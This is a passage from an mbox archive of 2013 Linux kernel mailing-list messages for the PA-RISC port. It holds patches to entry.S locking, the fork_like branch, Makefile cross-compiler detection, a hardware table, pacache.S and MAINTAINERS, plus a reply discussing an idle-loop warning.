-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dbit_unlock0	spc,t0
 
 	rfir
 	nop
@@ -1543,18 +1587,8 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1565,13 +1599,7 @@ dbit_nolock_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	dbit_unlock0	spc,t0
 
 	rfir
 	nop
@@ -1583,32 +1611,15 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t1
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)

From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH] parisc: use long branch in fork_like macro
Date: Thu, 16 May 2013 21:28:12 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20130516192812.GB357@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368732501 26302 80.91.229.3 (16 May 2013 19:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 19:28:21 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 21:28:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud3qb-0004dJ-Dt
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 21:28:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752839Ab3EPT2Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 15:28:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:57058 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751868Ab3EPT2P (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 15:28:15 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LcEEV-1UBOXb1KYX-00je61 for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 21:28:14 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 19:28:14 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp028) with SMTP; 16 May 2013 21:28:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19EHMlnBbZE9PjoCH2Tq0LIkyyLHSObHeySmsE5h8
	hmJcnsh3n21xt0
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5032 gmane.linux.kernel.stable:53029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5032>

please add to stable kernel v3.9
upstream commit bbbfde782084b4f0d85ddffb88f1cf4650ff40e4

From: John David Anglin <dave.anglin@bell.net>

The "b" branch instruction used in the fork_like macro only can handle
17-bit pc-relative offsets.
This fails with an out of range offset with some .config files.
Rewrite to use the "be" instruction which
can branch to any address in a space.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index aa486e4..36f4f1d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1702,7 +1702,8 @@ ENTRY(sys_\name\()_wrapper)
 	ldo	TASK_REGS(%r1),%r1
 	reg_save %r1
 	mfctl	%cr27, %r28
-	b	sys_\name
+	ldil	L%sys_\name, %r31
+	be	R%sys_\name(%sr4,%r31)
 	STREG	%r28, PT_CR27(%r1)
 ENDPROC(sys_\name\()_wrapper)
 	.endm

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [PATCH] parisc: make default cross compiler search more robust
Date: Thu, 16 May 2013 21:32:20 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <20130516193138.GA392@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368732754 28577 80.91.229.3 (16 May 2013 19:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 19:32:34 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: stable-owner@vger.kernel.org Thu May 16 21:32:34 2013
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1Ud3uh-0007rY-39
	for glks-stable3@plane.gmane.org; Thu, 16 May 2013 21:32:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753325Ab3EPTcZ (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Thu, 16 May 2013 15:32:25 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52543 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753266Ab3EPTcY (ORCPT <rfc822;stable@vger.kernel.org>);
	Thu, 16 May 2013 15:32:24 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MYIEJ-1Uynu332Mj-00VB8x for
 <stable@vger.kernel.org>; Thu, 16 May 2013 21:32:22 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 19:32:22 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp028) with SMTP; 16 May 2013 21:32:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18TMo9pXYUTbmtOn0zBVX5uf5zbezsa8W1aYCTHNo
	Xfwa7Lye3jaC9Z
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:53030 gmane.linux.ports.parisc:5033
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/53030>

please add to stable kernel v3.9
this patch is a merge of upstream commits 
	93782eba49e23c3f311a6b05a19ba15927ec4e8b
and
	6880b0150a7c25fd75c5ece80abc49ebf53c38c1


People/distros vary how they prefix the toolchain name for 64bit builds.
Rather than enforce one convention over another, add a for loop which
does a search for all the general prefixes.

For 64bit builds, we now search for (in order):
	hppa64-unknown-linux-gnu
	hppa64-linux-gnu
	hppa64-linux

For 32bit builds, we look for:
	hppa-unknown-linux-gnu
	hppa-linux-gnu
	hppa-linux
	hppa2.0-unknown-linux-gnu
	hppa2.0-linux-gnu
	hppa2.0-linux
	hppa1.1-unknown-linux-gnu
	hppa1.1-linux-gnu
	hppa1.1-linux

This patch was initiated by Mike Frysinger, with feedback from Jeroen
Roovers, John David Anglin and Helge Deller.

Signed-off-by: Mike Frysinger <vapier@gentoo.org>
Signed-off-by: Jeroen Roovers <jer@gentoo.org>
Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 113e282..1976900 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -23,26 +23,21 @@ NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
-MACHINE		:= $(shell uname -m)
-ifeq ($(MACHINE),parisc*)
-NATIVE		:= 1
-endif
-
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
-WIDTH		:= 64
+CC_ARCHES	= hppa64
 else # 32-bit
-WIDTH		:=
+CC_ARCHES	= hppa hppa2.0 hppa1.1
 endif
 
-# attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
-else
- ifeq ($(CROSS_COMPILE),)
- CROSS_COMPILE	:= hppa$(WIDTH)-linux-gnu-
- endif
+ifneq ($(SUBARCH),$(UTS_MACHINE))
+	ifeq ($(CROSS_COMPILE),)
+		CC_SUFFIXES = linux linux-gnu unknown-linux-gnu
+		CROSS_COMPILE := $(call cc-cross-prefix, \
+			$(foreach a,$(CC_ARCHES), \
+			$(foreach s,$(CC_SUFFIXES),$(a)-$(s)-)))
+	endif
 endif
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S

From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add rp5470 entry to machine database
Date: Thu, 16 May 2013 22:42:39 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20130516204239.GA1018@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368736988 8243 80.91.229.3 (16 May 2013 20:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 20:43:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 22:43:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud511-0007Xl-EG
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 22:43:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752870Ab3EPUm4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 16:42:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:58872 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751884Ab3EPUmo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 16:42:44 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.27]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MCvpV-1UmBxh2GGJ-009kUG for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 22:42:42 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 20:42:42 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp027) with SMTP; 16 May 2013 22:42:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/G1tB4CT3GhjWCehI7vXtWSdMvgQ2vwcOIZ30Cf+
	MqAW/+oYfAY/Pi
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5034>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index f7752f6..9e2d2e4 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -222,6 +222,7 @@ static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_NPROC,0x5DD,0x4,0x81,"Duet W2"},
 	{HPHW_NPROC,0x5DE,0x4,0x81,"Piccolo W+"},
 	{HPHW_NPROC,0x5DF,0x4,0x81,"Cantata W2"},
+	{HPHW_NPROC,0x5DF,0x0,0x00,"Marcato W+? (rp5470)"},
 	{HPHW_NPROC,0x5E0,0x4,0x91,"Cantata DC- W2"},
 	{HPHW_NPROC,0x5E1,0x4,0x91,"Crescendo DC- W2"},
 	{HPHW_NPROC,0x5E2,0x4,0x91,"Crescendo 650 W2"},
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use PAGE_SHIFT instead of hardcoded value 12 in
 pacache.S
Date: Thu, 16 May 2013 22:51:41 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20130516205141.GA1127@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368737508 13797 80.91.229.3 (16 May 2013 20:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 20:51:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 22:51:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud59O-0005o2-Jq
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 22:51:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752104Ab3EPUvp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 16:51:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49865 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751884Ab3EPUvp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 16:51:45 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.16]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MYIEJ-1Uymzh161Z-00VD1L for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 22:51:44 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 20:51:44 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp016) with SMTP; 16 May 2013 22:51:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/74HEWP8T7kJykCht49VjV+BHW/dzNwyUhIxilla
	PpBmTV5+le9uv4
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5035
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5035>

additionally clean up some whitespaces & tabs.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5e1de60..36d7f40 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -605,14 +605,14 @@ ENTRY(copy_user_page_asm)
 	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
 	convert_phys_for_tlb_insert20 %r23	/* convert phys addr to tlb insert format */
 	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,PAGE_SHIFT, %r28  /* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28	/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	extrw,u		%r23, 24,25, %r23	/* convert phys addr to tlb insert format */
 	depw		%r24, 31,22, %r28	/* Form aliased virtual address 'to' */
-	depwi		0, 31,12, %r28		/* Clear any offset bits */
+	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 	copy		%r28, %r29
 	depwi		1, 9,1, %r29		/* Form aliased virtual address 'from' */
 #endif
@@ -762,7 +762,7 @@ ENTRY(clear_user_page_asm)
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
-	depwi		0, 31,12, %r28		/* Clear any offset bits */
+	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
 	/* Purge any old translation */
@@ -846,7 +846,7 @@ ENTRY(flush_dcache_page_asm)
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
-	depwi		0, 31,12, %r28		/* Clear any offset bits */
+	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
 	/* Purge any old translation */
@@ -918,11 +918,11 @@ ENTRY(flush_icache_page_asm)
 #endif
 	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
 	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,PAGE_SHIFT, %r28  /* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
-	depwi		0, 31,12, %r28		/* Clear any offset bits */
+	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
 	/* Purge any old translation */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add additional parisc git tree to MAINTAINERS file
Date: Thu, 16 May 2013 23:00:16 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20130516210016.GA1191@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368738030 19164 80.91.229.3 (16 May 2013 21:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 21:00:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 23:00:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud5Hh-0003gF-F0
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 23:00:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752472Ab3EPVAV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 17:00:21 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54427 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752323Ab3EPVAU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 17:00:20 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LkDzQ-1U6lbd17xi-00c6yZ for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 23:00:19 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 21:00:19 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp004) with SMTP; 16 May 2013 23:00:19 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/uVXY1XmTuDaEbSfcLzYIKE2lVLFkfhO/Wlm/kPC
	i329ncGtG1IsC9
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5036>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/MAINTAINERS b/MAINTAINERS
index 3d7782b..c0aab68 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -6069,6 +6069,7 @@ L:	linux-parisc@vger.kernel.org
 W:	http://www.parisc-linux.org/
 Q:	http://patchwork.kernel.org/project/linux-parisc/list/
 T:	git git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git
+T:	git git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
 S:	Maintained
 F:	arch/parisc/
 F:	drivers/parisc/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96
Date: Thu, 16 May 2013 23:25:35 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <1368771935.1924.42.camel@dabdike>
References: <20130508204242.GA16254@p100.box>
	 <1368047134.8623.5.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368771941 26686 80.91.229.3 (17 May 2013 06:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 May 2013 06:25:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>, Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 17 08:25:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UdE6l-0001GY-RQ
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 May 2013 08:25:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753729Ab3EQGZi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 May 2013 02:25:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46204 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753225Ab3EQGZi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 May 2013 02:25:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9841E8EE0DD;
	Thu, 16 May 2013 23:25:37 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6eAT5WwEzfqA; Thu, 16 May 2013 23:25:37 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1DAD78EE0A9;
	Thu, 16 May 2013 23:25:37 -0700 (PDT)
In-Reply-To: <1368047134.8623.5.camel@dabdike>
X-Mailer: Evolution 3.8.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5037 gmane.linux.kernel:1492424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5037>

On Wed, 2013-05-08 at 14:05 -0700, James Bottomley wrote:
> On Wed, 2013-05-08 at 22:42 +0200, Helge Deller wrote:
> > We need to enable local irqs to avoid this runtime warning.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > 
> > diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> > index 55f92b6..2840d43 100644
> > --- a/arch/parisc/kernel/process.c
> > +++ b/arch/parisc/kernel/process.c
> > @@ -286,3 +286,8 @@ void *dereference_function_descriptor(void *ptr)
> >  	return ptr;
> >  }
> >  #endif
> > +
> > +void arch_cpu_idle(void)
> > +{
> > +	local_irq_enable();
> 
> This is definitely wrong.  we'd need at least a cpu_relax() in there.
> Without that the cpu will bounce around in the idle loop.  I'd advise
> that we simply keep the default cpu_idle_poll().
> 
> However, this looks like a kernel bug to me in cpu_idle_loop()?  not
> something we should be working around in the arch code.
> 
> Thomas, what's going on here?  It looks like you can never avoid the
> WARN_ON_ONCE if you don't provide any arch specific idle functions.  If
> you wish to allow this case then the correct patch (keeping the WARN_ON)
> would appear to be this one.

Ping on this, please, Thomas ... the patch looks fairly obviously
correct, do you just want us to take it through the parisc tree?

James


> James
> 
> ----
> diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
